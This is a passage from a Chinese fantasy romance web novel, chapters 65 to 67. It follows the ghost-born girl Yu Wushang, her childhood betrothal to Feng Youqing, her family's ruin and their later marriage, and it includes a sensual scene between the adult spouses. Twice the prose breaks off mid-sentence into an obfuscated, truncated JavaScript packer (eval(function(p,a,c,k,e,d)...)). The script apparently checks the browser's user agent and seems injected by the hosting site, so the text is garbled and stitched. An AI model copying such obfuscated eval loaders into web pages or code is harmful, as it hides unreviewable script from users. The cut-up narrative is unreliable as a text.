好事…对那女鬼来说,没有好事与坏事,在她眼中,也没有福分与不福分的区别,仅有她现在应该做的事情,和老孟婆吩咐的事。 女鬼恍若耳聋,依旧在熬汤… 围着的一群女鬼,开始叽叽喳喳吵闹起来,说女鬼不知好歹。 风有情没有不悦,仅仅不解这种与仙君同行的好事,为什么对面那只女鬼不为所动。 他问道:“你可知本君是天上来的仙君?” 鬼群中,挤出来一位老婆子,嗓音尖锐道:“仙君恕罪啊…这小鬼叫雨无伤,从忘川河里出来的时候就有些不正常,她不是有意要怠慢仙君的。” 来人正是老孟婆,她走到大锅后,把雨无伤拉了出来,拜礼在风有情面前,暗地拉扯雨无伤,道:“快与仙君答话。” 雨无伤抬起头直直看向风有情,毫无恐惧道:“我叫雨无伤。” “我需要去人界吗?” “我不知你是谁。” 风有情提的一个要求和三个问题她都听见了。 老孟婆让她答话,她就一个不漏地全做出了回应。 风有情呆愣一瞬,盯向老孟婆,道:“本君从未听说过忘川河水还能养鬼,这小鬼自出来便是这幅听话的模样?” 老孟婆点头道:“回仙君,是的。可能是河水伤了思绪,她才会这样。” 风有情仔细端详了一番,那自抬头后就没低头的雨无伤。 样貌甚好,身材甚好,性格甚好,未让别人糟蹋…甚好甚好。 他大喜,一把扯下腰间的坠子,递到了雨无伤面前,道:“就你了。” 65. 一境一镜锁一情2 第五茗困在雨田心玉里,陪同雨无伤一起入了人道,降生在了人界大盛国边塞雍凉城,守城主将雨威利府中。 雨无伤此世母亲是府上奴仆。 在雨无伤出生后,雨威利见她是一个女儿身,且在出生时,因手中带出的雨田心玉引来天雷,烧毁了府中一半宅院,便对其视为不祥,不管不顾,把她们母女扔在乡下。 雨无伤十岁那年,大盛国宰相蓟安塬,入雍凉城复审十万将士困死满水古都的真相,雨威利为了拉拢副将风护国,隐瞒满水古都灭国和十万大盛国将士横死之事,把雨无伤从乡下接了回来,还为她强许了一门亲事。 她回来那日,雨威利把她那身份不堪的母亲,用一碗药留在了那座茅屋里。 在雍凉城,雨府上下都不太待见这戳一下动一下,看起来傻傻的“小姐”,雨无伤一直过的也是奴仆的日子,日日被府中上下,所有人针对。 不过他们只敢言语上进行奚落,不敢真正地动手伤她,还得把她养得白白胖胖。 因为再过半月,她要与风护国家的独生子举行定亲仪式。 半个月后,雍凉城,良缘楼。 大红绸高挂,鞭炮响过一轮又一轮。 天不见亮,就有几个丫鬟婆子把她带到了良缘楼的后厢房,窸窸窣窣一阵,把她打扮成了一个大红吉娃娃。 她端端正正坐在长榻上,面对大开的房门,望向外面的花花草草,有一茬没一茬地回答她们问的话。 一位丫鬟抓了一把干桂圆在手中,戏谑道:“小姐,今日可是你大喜的日子,应该笑一笑的。” 雨无伤听话地弯起嘴唇,漏出小小的门牙,眼里和脸上却看不出一点喜悦。 那丫鬟吃了一颗桂圆,把核朝她吐去,瘪嘴道:“还真是个木头。” 另一旁,一个小丫鬟收拾地上垃圾,嘴甜好奇道:“真的问什么她就答什么?叫她干什么她就会做什么吗?” 那吃桂圆的丫鬟点头道:“哼,你试试不就知道了,我们的‘小姐’啊,可有趣了。” 小丫鬟紧张地朝雨无伤靠近两步,弱弱地问道:“小姐,你今日和风府少爷定亲,你开心吗?” 雨无伤转头看向小丫鬟,清秀的嗓音,毫不犹豫道:“我应该开心。” 这答案,着实诡异。小丫鬟一怔,惊奇道:“应该?” 里屋走出来一个婆子,嘻嘻笑道:“是不是觉得奇怪?” 小丫鬟点点头,婆子一脸不怀好意,对小丫鬟扬了扬头,扭着步子走向雨无伤,张口问道:“小姐,你阿娘死的时候,你哭了吗?” 雨无伤道:“没有。” 她漏齿的笑容依旧没变。那小丫鬟被这一幕吓傻了。 婆子继续问道:“小姐,你阿娘死的时候,你在旁边守着吗?” 雨无伤道:“阿爹让我要在旁边看着。” 小丫鬟猛地因这一问一答,又吓回了魂,呢喃道:“老爷居然让小姐看着自己的生母死在眼前,这是多…” 狠的心啊! 小丫头神情一脸哀默,替雨无伤后怕,道:“小姐,你不伤心吗?” 雨无伤歪头,看了过来,道:“我应该伤心吗?” 又是‘应该’。 小丫鬟好似见了鬼一般,急忙躲开了雨无伤的视线,埋头在地上捡起到处都是的桂圆花生壳。 婆子轻笑一声,拍了拍蹲下去的小丫鬟,道:“她就是这样一个怪物,习惯就好了。” 她朝雨无伤揶揄道:“你怎么不该伤心呢,小姐啊…以后可就没有人再唤你雷宝了,都只会说你是一个引来雷电烧府门的怪物。” 雨无伤并没有争辩,陈述事实道:“阿爹叫我雷宝的。” 婆子面上讥讽,懒得和她说清楚,雨威利如此叫她,不过是为了让她乖乖听话。 那吃桂圆的丫鬟,打了一个饱嗝,扫了一圈满屋华丽的装潢,嫉妒道:“小姐,你就没想过不回雍凉城吗?” 雨无伤答道:“没有。阿娘让我回来过好日子,阿爹要我回来去嫁人。” 那吃桂圆的丫鬟,把桌上果盘里的凹洞垒了垒,鄙夷道:“成亲?呵…你才十岁,能嫁给谁,老爷不过是要卖了你。” 门外的院子中,传来一群脚步声,排头一个红彤彤着装的小少爷,身后跟了一众奴仆,一半雨府的,一半风府的。 屋内人,齐刷刷跪拜在了两侧。 那小少爷身姿正然,朝两边抬手,示意他人起身,进屋便看见了和他一样装扮,恭谨地坐在上位的小姑娘,他嗓音脆生道:“我叫风有情,你就是要许给我的新娘?” 雨无伤嘴齿咧得太久了,有些发麻,让她答话的声音都变得有些抖,道:“嗯,我是许给你的新娘。” 风有情是少有的神童,三岁开智,四五岁能说会道,十岁已是能武能辩。若不是身量小,没有人能将他的一举一动看做是小孩,此时正因为他这一点,所有人都并不觉得他过于直白的言论有什么不妥。 风有情朝雨无伤走近几步,仔细端量对方道:“长得俏丽,还看得过去…你叫什么名字?” 雨无伤道:“雨无伤。” 风有情蹙眉,脸上有些不悦。 他不太喜欢这个名字。 环视了一圈屋子,他表明来这里的原因道:“我阿爹让我来这里与你熟络熟络,你可到院子里去?我不喜欢你这间屋子,刺眼得很。” 雨无伤不答,她看向一旁候着的婆子。 因为她不知道该不该听堂中风有情的话。 婆子知道雨无伤这是在征求的她的意思。 有风有情在场,婆子恭谨了许多,正声道:“小姐,今日后,除了老爷的话,你最应该听的便是风少爷的话了。” 雨无伤点头道:“我知道了。” 雨无伤像一个木偶,屋里的婆子和丫鬟眼神看起来也很奇怪,风有情不喜欢这一屋子的人,但奈何今日不能失了礼数,只能走上前,牵了雨无伤手,把她带到屋外远处的草地上。 躲在众人都瞧不见的假山后,他松了手,在衣服上擦了擦才道:“我不喜欢你。” 雨无伤脸上还是那一副在屋子里咧嘴笑的表情,她并没有搭话。 风有情道:“我阿爹是被你阿爹逼迫的。” 然而,雨无伤表情未变,也未张嘴应话。 风有情怒道:“你可不可以不笑了!” 雨无伤听不出里面的情绪,但她终于开口说话了,道:“可以。” “…” 风有情额角抽搐,道:“你倒是挺有意思的。” 雨无伤又默不作语了。 风有情无奈,半躺在草地上,故意嘀咕道:“算了,等到晚上,蓟大人来吃你我酒宴时,我就能解脱了。” 出乎风有情意料,雨无伤脸上并没有喜忧,也没有追问他话中意思。 他彻底拿身旁的女孩没辙了,一只手半枕脑袋,一只手拍了拍身旁的草地,道:“躺下来晒一会儿太阳。” 雨无伤虽然还是没有说话,行动上却是照做了。 在雨无伤蹲下来时,风有情脑中闪过一念,脚尖勾动,绊上了雨无伤的脚腕。 然而,除了必然出现的笨重落地“咚”声,雨无伤并未如他所期,大声尖叫,或是惊慌失措。 蓦地,风有情一脸错愕,做了亏心事的模样,看向跪趴在地上的小姑娘。 他看着她牙口紧闭,面色痛苦,狼狈地从地上坐了起来,一声不吭,也不埋怨地揉捏膝盖腿脚。 风有情没有恶作剧的快感,嘴唇干渴道:“疼吗?” 雨无伤道:“疼。” 风有情道:“为什么不大声哭喊?为什么不把他们引过来?” 雨无伤抬起头,有一丝疑惑在脸上闪现,也仅仅是一瞬,那疑惑就消失不见了,她道:“他们说,摔倒后不能叫,要忍住。” 紧接着,她回答第二问,道:“应该引他们过来吗?” 她的回答,反倒是叫他‘不知所措’。 风有情思绪万千,手撑草地,挪近到雨无伤身边,他托起雨无伤的双腿放在自己膝上,脸色羞红,替对方舒缓疼痛,道:“一般人都会那么做。” 稍顷,他继续道:“大声哭喊,引人过来…再要是能教训我一顿就更好了。” 风有情眼眸星亮,目光停留在雨无伤一点反应都没有的脸上,道:“你学会了吗?” 雨无伤点点头,道:“嗯。下回你这样做,我就按照你教我的去做。” 风有情手上用了点劲儿,雨无伤疼痛难忍,重呼一口气,风有情才放缓手劲儿,调侃道:“还知道疼,看来也是一个活人啊,听不出来我说的是玩笑话吗?以后遇见这种事,逃远一点,别傻傻地等到真疼了再去找别人。” 雨无伤眼睛转了转,道:“没有听出来是玩笑话,他们不跟我开玩笑。” 听到此话,结合这一时半会儿,他观摩到的情况,风有情本想要安慰她话,到嘴边又咽了回去,他眼神未移,直愣愣地打量起面前这位别人强赛给他的“小媳妇”。 瞧了许久,他没看出什么来。 他没看出来雨无伤有什么坏心眼,也没看出她有没有好心肠。 揉了片刻,风有情问道:“好些了吗?” 雨无伤拍拍小腿,道:“好了。” 风有情手掌停顿在雨无伤的腿上,脑中突兀地有一个想法蹦了出来,他发问道:“你是不是只会回答问题?” 雨无伤道:“问题是最好回应的。” 她手指双腿,道:“我应该怎么做?” 风有情顺她手指看过去,他的双手停在她膝盖上,他没有再替她揉腿了,得不到他的安排,她就不知道该不该把腿收回来。 果然是这样… 风有情像是发现了好玩的物件,笑道:“你不知道吗?” 雨无伤道:“不知道。” 把雨无伤的腿放到草地上,风有情提议道:“我教你做一个一般人,好不好?” 雨无伤望向风有情阳光下亮亮的眼睛,对方有和刚才耐心教她摔疼以后如何去做时,一样的神情。她颔首道:“好。” 风有情面做迟疑,诓道:“作为回报,你是不是应该也同等回我点东西?” 雨无伤点点头。 风有情思忖片刻,道:“那以后你就只听我一人的话,可以吗?” 雨无伤斩钉截铁道:“不行。” 风有情笑容一顿,愣住了,心中腹诽道:原来不是傻子啊!只是不通人情… 雨无伤继续道:“我从小听阿娘的话,阿娘让我听阿爹的话,阿爹今日让我听婆婆的话,婆婆说日后让我听你和阿爹的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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风有情道:“你的坠子是什么东西?为什么会引雷电来烧城?” 雨无伤道:“它没有名字,阿娘喜欢叫它雷坠子,喜欢叫我雷宝。雷电不是我们引来的,有天雷的时候,雷坠子会带走一部分。” 她说的话太离奇了。 可是,风有情信了。 他满心满眼都是劫后余生的欣喜,连看雨无伤的目光都变得和善。 刹那间,雷坠子又开始动了起来,雨无伤道:“雷坠子又动了,动作很小,下一阵的雷电,应该离我们这里很远…但也应该是劈在城内。” 风有情奋然起身,朝雨无伤伸出手,把她拉了起来,不顾周围要挤上前查看他伤势的奴仆,对雨无伤征询道:“雷电是天灾,你的雷坠子能吸雷,你可不可以借给我?我拿去将城中其他地方…” 越过围在风有情周围的仆从,雨无伤双手将雷坠子递了进来,道:“可以。” 风有情笑道:“我替雍凉城谢谢你。” 他拿过雷坠子,没多久,坠子就在他手中安稳了下来。 风友情在仆从的拥护下,大步朝正堂走去,他回头看了看,才发现,雨无伤身边的人群都没了。 那堆仆从都是来寻他的,而她的周围没有一个关心她的人。 连虚情假意的一个人都没有… 他瞟了眼房檐下躲避的婆子和丫鬟,对雨无伤大喊,嘱咐道:“雷宝,你去屋里躲着,要保护好自己,我去寻我阿爹,等我们把城内的雷电都解决了,我们就回来。” “我会回来寻你!” 阿娘曾说,雷宝不喜欢想事情,喜欢琢磨事情的人就会喜欢欺负雷宝和雷坠子。 所以阿娘和她约定了一个秘密,若是有人叫出了“雷宝”,满心欢喜的,让她觉得好听的,那雷宝就要听那人的话。 雨无伤不知为何,让她喜欢的一声“雷宝”,会让她心口有些刺痛,还让她想起了娘亲,她嘴角莫名地想龇牙大笑,她伸手,接住风有情离开后留下的那片日光,应答道:“好。” 雷宝等你。 雷宝以后只听你一个人的。 那雷坠子便是当日在奈何桥前,风有情给雨无伤的信物——雨田心玉。第五茗在坠子里目睹了这些年那仙家法器,白日里招蜂引蝶降诱落下的雷电,是如何害苦了雨无伤。 而第五茗也终于想起来了,正是因为她在老司命给风有情写的簿子里,看出了雨田心玉这一茬,她才给风有情和雨无伤的命数,在此阶段添了几笔。 让风有情,于订婚这日,在心里装上了那个说话痴痴傻傻,却干干净净的雨无伤。以此,让风有情从雨无伤手中拿回了雨田心玉,镇压住雨田心玉靠法器灵性胡作非为,招惹引雨雷电白日降落的荒诞事。 后续,风有情的命数出了变数,她出于善意,又给改了几笔。 现下亲眼目睹,第五茗才发现,命格簿子上的寥寥数笔,对二人的命数来说根本就是微不足道,全都是风有情当日翻阅命格簿子,和雨无伤无知无感无情绪,引来天命天道为两人写命导致的。 可惜了,第五茗即便想替二人修正命数,奈何…她眼前所见的,都是那情丝里已经发生的事,她只能默默地在雨田心玉里看着。 66. 一境一镜锁一情3 雍凉城内。 那日傍晚,蓟安塬和风护国趁雷电之乱,提前带将士查抄了雨威利府邸。 本就乱糟糟的将军府,因为奴仆的逃窜,变得更加狼狈。 蓟安塬声音震天,宣告满水古都灭国和十万大盛国士兵横死的真相。 雨威利罪不容恕,由其从中挑拨,暗中行事,致使一国湮灭,且残害十万大盛国将士,令忠勇之人尸骨不存,魂魄不归。 雨威利自知重罪难逃,当场自缢,可怜一众家眷奴仆被收押牢狱。 雨无伤也关押在其中。 好在蓟安塬清明,核查下来,将无辜牵连进来的奴仆和雨无伤放了出来。 释放第三日,雨府府邸。 雨无伤背挎了一个小包袱,漫无目的地站在门口。 她不知道她应该去哪里了。 从府内收拾好东西出门的奴仆,却都是二三一起,四五一群。 他们路过雨无伤身边时,最后还不忘再对她指指点点一番: “看,是那个怪物…” “她也是人,怎么说也只是一个灾星吧。” “才回来不到一月,克死了老爷不说,还害得一大家子身陷牢狱,啧啧啧…太邪门了。” “少说两句吧,当心她把你我也送进去,好不容易出来了…还是蓟大人公正明事理。” 两三人走了出去,把才出牢狱的苦楚,通过三言两语全发泄在了雨无伤身上。 啐!啐啐… 他们朝雨无伤脚下吐了两口涎水。 雨无伤没有反应,独独将视线留在他们身上,目光跟随他们身影,一起落在台阶下,落在那几人向右转消失了的街道上。 雨府大门内,当日在良缘楼吃桂圆的丫鬟,从门里扛了一个大包袱走出来,眉眼一楞,瘪嘴道:“只是没想到会把她也放出来。” 门内又走出一人,道:“你们不知道吗?风家少爷去蓟大人门前替她求了情,蓟大人这才格外将她的身世盘查了一番…才十多岁的小孩啊,竟会蛊惑人心了。” “是她那半路未成的新郎?” 先前说话那人道:“是啊…” 门内又出来一妇人,她是才入雨府做工的,她绕雨无伤转了一圈,盯看雨无伤的眼眶和脸颊许久,道:“小姐,你是一滴泪也不流吗?” 说完,她因才得的好差事竟突然没了,而伤心掉了几滴眼泪。 雨无伤回视道:“我没有眼泪。” 远处,那还没走的几人继续道:“婶婶,别看了,听说她打小就没哭过,更别说流泪了。” “走吧,我们快些离开…邪气得很。” 那妇人叹道:“那些可都是你的亲人啊,你最亲的人…” 语毕,妇人满脸泪痕,在其他人的拉扯下,一起离开了雨府,身影消失在了左侧街道。 天色渐晚,雨府的人都走完了,蓟安塬差使来的兵役也给大门贴上了封条。 唯独剩了雨无伤,她还站在府前的大路上,朝左右张望,嘀咕道:“该是向右行呢?还是往左去呢?” 在她右侧,几声狂奔的马蹄声,在驱使人的“吁”唤中,落地止步,车轮滚停的吱呀声重重传来,伴随而至,一道她熟悉的少年声音,大口喘气道:“雷宝,幸好你还在!我阿爹同意了,你虽然还没有过门,但阿爹许我先接你回去。” 雨无伤循声望了过去。 风有情骑在马上,碎发湿润,紧贴脸颊,他粗喘不止,胸膛起伏不停,却丝毫不耽误他一手持缰绳,一手从腰间解下那系了绦绳的雷坠子。 他向雨无伤扬了扬… 夜里风吹动,月牙坠子下的绦穗,变成了一朵花,甚是好看。 风有情身下的俊马比雨无伤还高半个身子,她仰起头,看了两眼那格外漂亮的雷坠子,和脸色涨红的少年,发问道:“是去做你的新娘吗?” 风有情一顿,双手握紧,粲然道:“对!” 末了,急忙大声反问道:“你还愿意做我的新娘吗?” 雨无伤回头看了一眼左边那条路,路上已经没有人了。 这几日,都没有人来告诉她应该走左边,还是去右边。 此时,右边这条路,有人来找她了。 原来,她该行的是右边这条路。 只要她回答了这个问题,她就可以去往右边这条路,她也可以再找到那一声让她舒坦的“雷宝”。 不等风有情下马来拉她,她回转身,大步朝风有情走去,肯定回应道:“愿意。” 风府内。 第一年,风有情担忧雨无伤会受欺负,凡是和雨无伤有关的事,他会亲力亲为,甚至将雨无伤安排住在了他的院子里,并把照顾他的奶妈遣派去了雨无伤身边。 雨无伤被他养得白白润润的,比之初始第一面,更加有气色。 细细相处下,风有情才发现雨无伤白净得就像一张纸,因为不通人情,会格外地听别人的话,让人心疼,让人止不住想要怜惜她,让他越发在意她。 真如那日在良缘楼的玩笑话,他开始教雨无伤如何去做一个一般人了。 如此过了六年。 期间发生了很多事… 蓟安塬入满水古都废墟,没了消息,朝廷大怒,派士兵前往搜寻,却都是有去无回。 此外,雍凉城外有游离蛮族聚集骚扰。风护国多次领兵出战,蛮族还未散,他却于风有情十六岁那年,丧命战场。 至此,风有情为承父愿,发奋习武。 二人十七岁那年,风有情入了军营,而风母因郁结成疾,年末也入了黄土。 关于雨无伤是灾星一说在雍凉城越传越盛。只有风有情相信,所有事都和雨无伤无关,至始至终都信任着雨无伤。 二人十八岁这一年,雍凉城的大军即将出征,入营的风有情也赫然在列。风有情不放心雨无伤,临行前,在风府挂了红绸,在府中下人的见证下,和雨无伤行了拜堂礼,成了夫妻。 给了雨无伤名分,未入洞房,风有情就走了。 他把雨无伤一直挂在它身上的雷坠子又还了回去。 大军刚出雍凉城,城里青天白日又起了旱雷,城内百姓纷纷围观,都觉得这不是一个好兆头。果不其然,在军队入了雍凉城与满水古都之间的那一片黄沙地带时,许多将士未战,便被一股滚烫的热黄沙卷了身体,浑身烫起一片又一片馒头大小的水泡。 出师不捷,大军驻扎城外,受伤的将士遣返回城里进行疗愈。 而风有情也在其中。 少年心性,满腔抱负,他怎能忍受这等耻辱。 加之,风府门外,还有无数百姓的议论声,纷纷在指责他的新婚妻子是雍凉灾星: “雨无伤克了雨府满门,害了风家夫妇,现在轮到风家少爷了。” “可惜了…可惜了…好好的一位少年英才。” “前几日,有几道赤雷劈在了风府…” “还好不是雍凉城。” “风府在雍凉城内,怎么劈他家就不算我们雍凉城的了!照理说,真该把那女子撵出去…” “算了,算了…风将军也是为我们没了的,再这么欺负他家孤儿幼媳,不太好吧。” “幼媳?他们两成亲了?” “可不是嘛,成了,还没宴请邻里。” “这亲事看着也不太喜庆,刚新婚就出门,出门还受了这么重的伤回来…惨了惨了。” “走吧走吧,别蹭上霉运了。” “有道理…” 风府门外,人声渐稀。 风府正屋内,却有一阵噼里啪啦的巨响。 风有情把床头上的伤药罐子摔了一地。雨无伤蹲在地上,一块一块地拾捡。她额角有一处淤青,是那堆东西飞过来时,误伤了的,看起来有些疼,她双牙紧咬,没有哼出一声来。 风有情在床上并没有看见,依旧在自抑。 雨无伤沉沉地吐出一口气,让僵硬生疼的牙齿缓和了一瞬,才道:“热砂烧伤的将士有很多,城里最近烧伤药紧缺,下次若是还想再摔东西,你可以提前告诉我,我准备点其他的。” 风有情双拳紧握,在床上不甘道:“我连蛮族人都没见到,我就回来了…” 盘子里,碎片放进去的时候,叮叮作响,雨无伤伴随其中,陈述道:“你把身上伤养好,还能继续回去找他们的。这一次,回来的将士们都说,多亏了你反应及时,才没有让大军都被卷进去。你如今这般,是因为着急吗?” 风有情垂下头,他身上仅有腰下五寸还剩了一块长巾遮掩。 他的四肢、胸膛、后背,连长巾下的肌肤,也都遍布了隆起的水泡,破皮流水的地方更是化脓恶心,他看见这些,心底翻涌不止,无奈地闭上了眼睛。 雨无伤在纱帘外,道:“我收拾好了,今日可要小厮或是奶娘来给你敷药吗?” 风有情吞咽道:“这几日不都是你夜里悄悄来的吗?怎么突然要换人了?” 他话语里的情绪,雨无伤堪堪听懂一半。 雨无伤按照风有情往日教她的言论,由心答道:“我没想过换人,今天你醒了,我不知道你愿不愿意让我进来。那几天你在发热,奶娘说你好面子,从小就不让人近身伺候,我是你妻子,我可以,即便没有你的同意,奶娘说我也可以进来,我…便没征得你的同意,就替你抹了药。” 顿了顿,她补充道:“你说过的,我不知道怎么办的时候,你又不能作答,我可以去问一问府里的人,我若是心里不堵塞,就可以去做。” 最后,她轻声道:“我想来的,但我怕你不高兴,怕你羞赧,怕你生我气,我却不知道。” 薄纱帘上,床中的身影,明显怔了一下。 少时,风有情叹息道:“你不觉得恶心吗?你才嫁与我,我就成这副模样了,你会不会后悔了?” 雨无伤手捧那一盘碎渣,站在纱帘外道:“不会恶心。后悔是什么?我不懂?你要先和以前一样教会我,我才知道我是不是后悔了。” 风有情声音有些暗哑,询问道:“雷宝,你看见我这副模样,第一眼是…是什么感觉?” 雨无伤仔细想了想,道:“疼吗?我想知道你疼不疼。” 风有情道:“你会担心人了?” 雨无伤道:“担心?嗯…你教过我这个的,而且以前我受伤的时候,你也都是先问我疼不疼。” 她总结道:“我是担心你了吧。” 她不知后悔… 她虽是模仿他人,却也学着担心别人了。 风有情苦笑道:“我有些疼,雷宝你进来吧,帮我上药。” 一月有余,风有情身上的伤都结了痂,而大军仍旧在外驻扎,原地不动,寻求穿越热砂的办法。 又过了一月,风有情身上疤壳脱落,开始换新肉,城外的大军久久找不到办法,竟是折了回来。 因耗在城外数月,损失钱财无数,惹来大盛国主震怒。大军回到营中,将士们便都萎靡了下去。 风府正屋内,雨无伤又捧来一堆伤药。 她帮风有情脱下上衣,手刚拿出日常遮羞的那方白绸长巾,攀上对方亵裤,风有情双手一紧,拉住裤子,脸色涨红,害羞道:“下面的地方…我可以自己来了,最近开始长新肉有些发痒,你帮我把背上的挠一挠吧。” 雨无伤点头道:“哦…好。” 风有情身上长满了新肉,而新肉与新肉之间老肉因他常年暴晒,有些黑韧,如今落在全是粉红新肉上,倒是勾勒出了一条一条好看的纹痕。 雨无伤指尖抹了清清凉凉的药。 这几月为了不戳破风有情身上的水泡,她把指甲的肉都修剪得十分干净,只有那软软的指头。 雨无伤的指蛋如同小猫无甲的肉掌,软软地,一遍又一遍,跳过那些纹痕,落在瘙痒难耐的新肉上,让那一片又一片的新肉,除了有些凉意外,变得更加痒麻。 风有情闷哼,眉头一皱,心下恍惚,手不受控制地一把将雨无伤从背后拉走,缓解掉背上传来的,那番越发让他抵制不了的触感。 猛然的拉扯,让单腿跪坐在床边,靠一只脚承力的雨无伤重心不稳。 她眼看就要坠到地上了,拉她的人叹了一声,双手孔武有力地,扶腰将她揽进了怀里。 赤裸的上身,单薄的亵裤,浑身发痒的新肉,以及怀里拖拽进来的一团柔软,让风有情不敢大动,他一脸担忧又无奈地,小心翼翼低头偷瞧怀里的人,终是紧抿双唇,干咽下了嘴中的一滩燥气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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紧接着,风有情眼睛一闭,慢慢低下了头,靠近怀里的人,喷洒热气道:“雷宝,你已经是我的妻子了,对吗?” 越来越近的脸庞,雨无伤没想过要躲避,她仔细查看对方脸上的情绪,想要分辨出风有情这是怎么了。 但…风有情没有教过她这种神情是什么意思。 她看不懂… 因为看不懂,她心里有些急,虽只有淡淡的一层,可她是着急的。 风有情的模样很难受,她却帮不了她。 离雨无伤一寸远的距离,那张脸停了下来,风有情哆嗦地睁开了眼睛,探寻雨无伤为何还没有作答。 雨无伤望向他眼眸,肯定道:“我是你的妻子。你是不是出什么事了?告诉我好不好?我这里…” 没有风有情的指示,她不敢动手。她低下头,视线看向左胸口,继续道:“这里…这里…想知道你怎么了?你没教过我,我看不明白,可是很想知道…很想帮你…我不想让你这么痛苦,我想帮你分担,你是还在忧心军队的事情吗?” 风有情笑了,很开心的笑了。 雨无伤的心,第一次有了异样的“跳动”,居然还是为了他。 恰好,还是此时,他意乱情迷的时候。 他本来压抑的情绪松了开来,僵硬的身体,也寻了一个舒服的姿势,双手紧了紧,把雨无伤更深地揽进怀里,凑近雨无伤耳朵,缠绵道:“雷宝,我喜欢你…” 这句话并没有让雨无伤有任何反应,她喃喃道:“你以前说过了,你喜欢我。” 风有情回头,目光在雨无伤脸上流转,道:“傻雷宝,那不一样…而今才是喜欢。因为我喜欢上你了,我身上的任何一处都会对你毫无保留。因为我喜欢上你了,我会很想要很想要靠近你…” 他又低下了头,这一次,他目光不再四处流转,而是看向雨无伤那粉嫩湿润的双唇,道:“因为我喜欢上你了,我会忍耐不住地要去拥有你…但我怕,怕你因为不知道那是什么而害怕,我不想你受伤…所以我很紧张,很犹豫,因为这份犹豫,才让自己变成如今这幅有些难受的模样。” 他空出一只手,抚上了雨无伤的眼睛,道:“雷宝,把眼睛闭上。” 雨无伤很听话。风有情掌下睫羽舞动,他笑道:“我教你好不好?让你心口的感觉消失。” 雨无伤乖巧道:“好。” 她感觉到脸上除了一只大掌遮住她的视线外,那股喷洒在她脸上的热气,缓缓地靠近了她的鼻翼,慢慢地落在了她湿漉漉的双唇上。 对方的唇瓣有些干,却和她一样很柔软,试探性地先碰了碰。 雨无伤唇上的口脂也变得干了,让她觉得不舒服,在对方离开的时候,她舔了舔,又让双唇湿润了起来。 她听见面上传来愉悦的笑喘声,突然,方才还温温柔柔的唇瓣,猛地挨了上来,急迫又凶狠,含住了她的上唇,又辗转去揉捏了一番下唇。 好似在惩罚,又恍若在恳求… 雨无伤不知道那是什么意思,因为风有情没有教过她,做这件事代表了什么。 但她好像有点喜欢…做这件事。 喜欢? 应该是了。 风有情教过她,喜欢是心里不堵,面上会笑,身体愿意靠近,还会谋生欲望…谋生那想要重复获得的念想。 此次此刻,她就是这般。 她希望那双唇瓣不要离开,甚至与她更加贴合。 雨无伤心中一震。 她像一个一般人一样了,这一刻,她突发地也有了一丝感情。 她身子往后缩了缩,她想要告诉风有情,可是她脱离出来的那瞬间,唤了一声,“风有情…嗯…我…” 对方却没有给她机会,让她将一句话说完整。 风有情抽空道:“雷宝…乖…先别说话。先让我好过一点…” 他松了遮在雨无伤眼睛上的手,从雨无伤脑后把人带回了自己嘴边,指尖在对方发丝间摩挲、安抚,嘴上却如狂风暴雨,不停地肆意撕咬雨无伤有些红肿的双唇。 67. 一境一镜锁一情4 这一次,风有情似乎并不满足只是这样捉弄雨无伤,他轻咬她的唇瓣,在她吃痛微启口齿时,彻底压上了她的双唇,滑移进去了一个东西。 和她的小舌一样,软软的,却又不相同,极其蛮横,在她口中放纵地游走,与她缠绕,轻轻地吮吸她唇内所有。 没一会儿,雨无伤身子虚软无力,双手酥麻地挂在风有情脖子上,似一汪水融进了他怀中,任由他毫无节制地在她嘴中索取。 渐渐地,雨无伤嘴里和风有情一样,有了异样的呻吟,却是细细小小,悄悄地被她尽量隐在了嘴里。 风有情入了迷,揽在雨无伤腰上的手,开始去解开她的衣襟,直到他把雨无伤扒到和他一样只剩亵衣亵裤时,他在雨无伤的耳后脖颈处,来回不停地舔舐啃咬,不舍道:“嗯…雷宝,我…对不起,撩拨了你…我身体还没好,下面有几处痂疤,不好看…恐怕还会…会磨着你疼,今日事只能到这般地步了…对不起…” 雨无伤趴在风有情肩膀上,娇喘道:“疼?没觉得疼…倒是有些累,有些痒,有些…嗯…身子有些发软…” 风有情关心道:“你可难受?” 雨无伤强忍身体上的那股渴望,道:“还…还好。” 风有情停了下来,紧紧拥住雨无伤,让她感受到他一直遮掩的地方,道:“今日…是我浪荡了,要委屈一下雷宝。” 雨无伤倏地震喊道:“你怎么了!不是烧伤烫伤吗?你放开我,我去找大夫…” 风有情宠笑地在雨无伤脸上又亲了亲,道:“没事…雷宝不用紧张。” 雨无伤朝紧贴的地方看了看,道:“真的没事吗?” 风有情摇头道:“没事。相信我好吗?” 雨无伤道:“好。” 风有情又开始有一下,没一下地在雨无伤嘴上、脸上、耳后、脖颈啄啃,霎时,一团湿濡染上了雨无伤。 风有情神情舒缓地窝在雨无伤颈肩,紧贴对方,声音缠绵道:“雷宝,对不起,是我没控制好自己。” 雨无伤细细回忆起刚才发生的一切,道:“我们是不是洞房了?成亲那日,奶娘有说过,你会啃我,会咬我,会把属于你的东西放进我身体里…我们是不是…唔…” 风有情指尖在雨无伤嘴唇上揉拧,似要把面上的浮肿按压下去,他阻了她讲话,笑道:“是,但也不完全是。以后再和你解释…今日都是我不好。” 若说一开始风有情的喜欢里带有怜悯,那么现在,他情难自禁后,清楚地意识到,他其实早已对雨无伤纯粹到只剩下喜欢了。 可惜对方好像不明白… 未痊愈的身子和总受骚扰的雍凉城,让风有情抿了唇,回了身,放下了想要再欺身上前的欲念,整理好雨无伤身上被他扯乱的衣襟,替对方扶好耳边发丝,在她额上轻轻留下一吻,道:“所以这种喜欢,雷宝懂了吗?” 雨无伤呆愣住。风有情退回去的时候,她便已平静如水,心中的感受她也忘在了脑后,现下,她不知该如何作答。 她懂还是不懂。 刚刚两人之间的事,她好像并没有学到任何东西。 她还是看不透风有情面上的情绪。 